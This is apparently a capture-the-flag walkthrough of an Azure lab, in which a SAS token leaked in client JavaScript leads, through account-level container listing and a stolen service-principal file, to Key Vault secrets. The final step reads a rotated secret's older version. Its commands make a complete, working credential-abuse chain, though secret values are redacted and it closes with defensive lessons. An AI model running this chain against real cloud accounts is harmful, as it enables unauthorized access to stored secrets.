- A public
app.jsleaks an over-scoped Azure SAS token (srt=sco,sp=rl). ?comp=listat account level reveals the hiddenvaultcontainer.- A
backup-service-account.jsonyields a service principal: login and Key Vault access. key-shard-2was rotated: the flag lives in the previous version, still enabled.- Lesson: rotating a secret does not remove old versions.
Swap <target> for the box IP (the site answers on https://<target>; if the cert doesn't validate add -k to curl). Every command runs on your machine. You need: curl, jq and the Azure CLI (az) — install shown in step [03], needs sudo.
[01] Recon: the kiosk talks too much
The landing page offers no handholds, so I move to view-source and pull app.js. The kiosk writes the visitor's recovery phrase straight into blob storage with no backend in between: which means the credential to do it has to live in the page. And there it is.
# la landing non dà nulla: vado dritto al JS del chiosco curl -sk https://<target>/app.js | grep -Ei 'storage|sas|container'
# the landing page gives nothing: straight to the kiosk's JS curl -sk https://<target>/app.js | grep -Ei 'storage|sas|container'
# credenziali cablate nel client: pubbliche per definizione # valori del deploy D'ESEMPIO: il suffisso dell'account è unico per la TUA istanza const STORAGE_ACCOUNT = "cryptocabanaf5scjagc"; const BACKUPS_CONTAINER = "backups"; const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=...";
# credentials wired into the client: public by definition # values from the SAMPLE deploy: the account suffix is unique to YOUR instance const STORAGE_ACCOUNT = "cryptocabanaf5scjagc"; const BACKUPS_CONTAINER = "backups"; const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=...";
The instance-specific values (the storage account suffix, the service principal GUIDs, the Key Vault name) change on every deploy: always read your own from your app.js and your backup-service-account.json, don't copy the ones in this writeup, or you'll hit an account that doesn't exist on your target.
# NON copiare i valori qui sopra: appartengono al deploy d'esempio. # Metti i TUOI (letti dal tuo app.js) in variabili di shell e riusale ovunque: STORAGE="<il tuo STORAGE_ACCOUNT>" # es. cryptocabana<suffisso-random> SAS="<il tuo BACKUP_SAS, senza il '?' iniziale>"
# do NOT copy the values above: they belong to the sample deploy. # put YOURS (read from your own app.js) into shell variables and reuse them everywhere: STORAGE="<your STORAGE_ACCOUNT>" # e.g. cryptocabana<random-suffix> SAS="<your BACKUP_SAS, without the leading '?'>"
Cloud rule number one: anything that reaches the browser is public. A SAS token in JS isn't obfuscated, it's handed over. And a SAS is a plaintext bearer token: srt and sp read straight off the query string, permissions printed right on the key.
[02] The SAS scope: from one blob to the whole account
I break the token down. The 2099 expiry looks alarming, but that's not the problem: the scope is.
| SAS param | Value | Grants |
|---|---|---|
| ss | b | blob service only |
| srt | sco | service + container + object |
| sp | rl | read + list |
| se | 2099-12-31 | ~never expires |
Here's the analysis that matters. To write a single blob you don't need an Account SAS at all: a Service SAS on the single container/blob with create/write is enough, ideally tied to a revocable stored access policy. Instead srt=sco includes the s for service: that one letter is exactly what enables ?comp=list at the account root. The gap between o+cw and sco+rl is the entire vulnerability. Irony: the token is read+list, so it can't even do the write the kiosk claims to need, but it happily hands me a map.
# lo scope 's' (service) abilita la list a livello di account # NB: la risposta è XML (non JSON), niente jq: estraggo i <Name> a mano curl -s "https://$STORAGE.blob.core.windows.net/?comp=list&$SAS" \ | grep -o '<Name>[^<]*' | cut -d'>' -f2 # $web <- il sito statico # backups <- atteso # vault <- non linkato da nessuna parte: ci guardo dentro
# the 's' (service) scope enables account-level listing # note: the response is XML (not JSON), no jq: pull the <Name> fields by hand curl -s "https://$STORAGE.blob.core.windows.net/?comp=list&$SAS" \ | grep -o '<Name>[^<]*' | cut -d'>' -f2 # $web <- the static site # backups <- expected # vault <- linked nowhere: I look inside
Three containers: $web (the site), backups (expected), and vault, linked nowhere on the page. Guess which one I opened.
[03] From the hidden container to Key Vault
The vault container holds two blobs: seed_phrase.txt, a decoy, and backup-service-account.json, the real prize.
# elenco i blob del container 'vault' (di nuovo XML, non JSON) curl -s "https://$STORAGE.blob.core.windows.net/vault?restype=container&comp=list&$SAS" \ | grep -o '<Name>[^<]*' | cut -d'>' -f2 # seed_phrase.txt <- depistaggio # backup-service-account.json <- il vero premio # scarico il JSON: curl -s "https://$STORAGE.blob.core.windows.net/vault/backup-service-account.json?$SAS" -o backup-service-account.json
# list the 'vault' container's blobs (XML again, not JSON) curl -s "https://$STORAGE.blob.core.windows.net/vault?restype=container&comp=list&$SAS" \ | grep -o '<Name>[^<]*' | cut -d'>' -f2 # seed_phrase.txt <- decoy # backup-service-account.json <- the real prize # pull the JSON: curl -s "https://$STORAGE.blob.core.windows.net/vault/backup-service-account.json?$SAS" -o backup-service-account.json
{ "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5", "client_secret": "████████████████████████", "key_vault_name": "ccabana-kv-f5scjagc", "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/", "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c", "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT" }
{ "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5", "client_secret": "████████████████████████", "key_vault_name": "ccabana-kv-f5scjagc", "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/", "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c", "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT" }
# di nuovo: client_id, tenant_id, secret e nome del vault sono del TUO deploy. # estraili dal JSON appena scaricato (jq comodo, ma vanno bene anche gli occhi): CLIENT_ID=$(jq -r .client_id backup-service-account.json) CLIENT_SECRET=$(jq -r .client_secret backup-service-account.json) TENANT=$(jq -r .tenant_id backup-service-account.json) KV=$(jq -r .key_vault_name backup-service-account.json)
# again: client_id, tenant_id, secret and vault name are from YOUR deploy. # extract them from the JSON you just downloaded (jq is handy, but eyeballs work too): CLIENT_ID=$(jq -r .client_id backup-service-account.json) CLIENT_SECRET=$(jq -r .client_secret backup-service-account.json) TENANT=$(jq -r .tenant_id backup-service-account.json) KV=$(jq -r .key_vault_name backup-service-account.json)
A full Azure AD service principal: client_id, client_secret, tenant_id, and the Key Vault name. The trust the kiosk placed in storage extends straight into the vault. Classic compounding trust chain: each hop widens the blast radius of the original leak.
# prerequisito: la Azure CLI ('az'). Se non ce l'hai già: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash # Debian / Parrot / Ubuntu # in alternativa, dentro un virtualenv: pip install azure-cli az version # deve rispondere con le versioni dei componenti
# prerequisite: the Azure CLI ('az'). If you don't have it yet: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash # Debian / Parrot / Ubuntu # alternatively, inside a virtualenv: pip install azure-cli az version # it should print the component versions
# mi autentico come il service principal trapelato az login --service-principal \ -u "$CLIENT_ID" \ -p "$CLIENT_SECRET" \ --tenant "$TENANT" # se risponde "No subscriptions found for ...": è un SP di sola automazione backup, # rilancia lo stesso comando con --allow-no-subscriptions — i comandi # 'az keyvault' sono data-plane e girano comunque
# authenticate as the leaked service principal az login --service-principal \ -u "$CLIENT_ID" \ -p "$CLIENT_SECRET" \ --tenant "$TENANT" # if it says "No subscriptions found for ...": it's a backup-only automation SP, # re-run the same command with --allow-no-subscriptions — the # 'az keyvault' commands are data-plane and work anyway
# quali secret vivono nel vault? az keyvault secret list --vault-name "$KV" -o table # key-shard-1 key-shard-2 key-shard-3 master-key (scaduto 2020)
# which secrets live in the vault? az keyvault secret list --vault-name "$KV" -o table # key-shard-1 key-shard-2 key-shard-3 master-key (expired 2020)
master-key looks like the jackpot, but it expired in 2020: dead end. The three key-shard secrets are the way.
[04] The rotated version and rebuilding the flag
The room's hint is explicit: "if a value looks freshly rotated, ask yourself what it looked like five minutes before that." Operationally: I check the version history of every shard.
# quante versioni ha ciascuno shard? quello con più di 1 è il sospetto for s in key-shard-1 key-shard-2 key-shard-3; do n=$(az keyvault secret list-versions --vault-name "$KV" --name "$s" --query "length(@)") echo "$s: $n versioni" done # key-shard-1: 1 key-shard-3: 1 key-shard-2: 2 versioni
# how many versions does each shard have? the one with more than 1 is the suspect for s in key-shard-1 key-shard-2 key-shard-3; do n=$(az keyvault secret list-versions --vault-name "$KV" --name "$s" --query "length(@)") echo "$s: $n versions" done # key-shard-1: 1 key-shard-3: 1 key-shard-2: 2 versions
key-shard-1 and key-shard-3 have a single version. key-shard-2 has two, created two seconds apart: a snap rotation. The current value is the bait; the good one is in the previous version, still enabled.
# ordino le versioni di key-shard-2 per data di creazione: la più VECCHIA è quella buona az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \ --query "sort_by([].{id:id, enabled:attributes.enabled, created:attributes.created}, &created)" \ -o table # la riga con 'created' più vecchio e 'enabled: True' è il bersaglio: # il numero di versione è il GUID finale dell'id, dopo l'ultimo '/'
# sort key-shard-2's versions by creation date: the OLDEST is the good one az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \ --query "sort_by([].{id:id, enabled:attributes.enabled, created:attributes.created}, &created)" \ -o table # the row with the oldest 'created' and 'enabled: True' is the target: # the version number is the trailing GUID of the id, after the last '/'
# la versione CORRENTE è il depistaggio; mi serve la PRECEDENTE (created più vecchio) # estraggo in automatico il GUID della versione più vecchia (ultimo campo dell'id): OLD_VER=$(az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \ --query "sort_by(@, &attributes.created)[0].id" -o tsv | awk -F/ '{print $NF}') echo "$OLD_VER" # es. 3d6492d2c6f74123bc754a9ded22b2a0 # leggo il valore di QUELLA versione (ancora enabled) az keyvault secret show --vault-name "$KV" \ --name key-shard-2 --version "$OLD_VER" \ --query value -o tsv
# the CURRENT version is the decoy; I need the PREVIOUS one (oldest created) # auto-extract the oldest version's GUID (the id's last field): OLD_VER=$(az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \ --query "sort_by(@, &attributes.created)[0].id" -o tsv | awk -F/ '{print $NF}') echo "$OLD_VER" # e.g. 3d6492d2c6f74123bc754a9ded22b2a0 # read the value of THAT version (still enabled) az keyvault secret show --vault-name "$KV" \ --name key-shard-2 --version "$OLD_VER" \ --query value -o tsv
The subtle point: in Key Vault a rotation creates a new version but doesn't touch the old ones. They stay enabled and readable with the same get permission. Whoever rotates to fix a leak often forgets the leaked secret is still there, one --version back.
# ricostruzione: shard-1 + shard-2(versione vecchia) + shard-3 S1=$(az keyvault secret show --vault-name "$KV" --name key-shard-1 --query value -o tsv) S2=$(az keyvault secret show --vault-name "$KV" --name key-shard-2 --version "$OLD_VER" --query value -o tsv) S3=$(az keyvault secret show --vault-name "$KV" --name key-shard-3 --query value -o tsv) echo "$S1$S2$S3" # => THM{████████████████████}
# rebuild: shard-1 + shard-2(old version) + shard-3 S1=$(az keyvault secret show --vault-name "$KV" --name key-shard-1 --query value -o tsv) S2=$(az keyvault secret show --vault-name "$KV" --name key-shard-2 --version "$OLD_VER" --query value -o tsv) S3=$(az keyvault secret show --vault-name "$KV" --name key-shard-3 --query value -o tsv) echo "$S1$S2$S3" # => THM{████████████████████}
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
Rotating a secret does not delete earlier versions: they stay enabled and readable until you disable or purge them. In Key Vault a rotation is hygiene only if the old material is actually invalidated. Upstream: never ship a SAS token in client JS, keep scope minimal (a Service SAS on the single blob, least privilege, short expiry), and prefer an Azure AD-backed user delegation SAS. Every leaked token widens the blast radius: storage → service principal → Key Vault.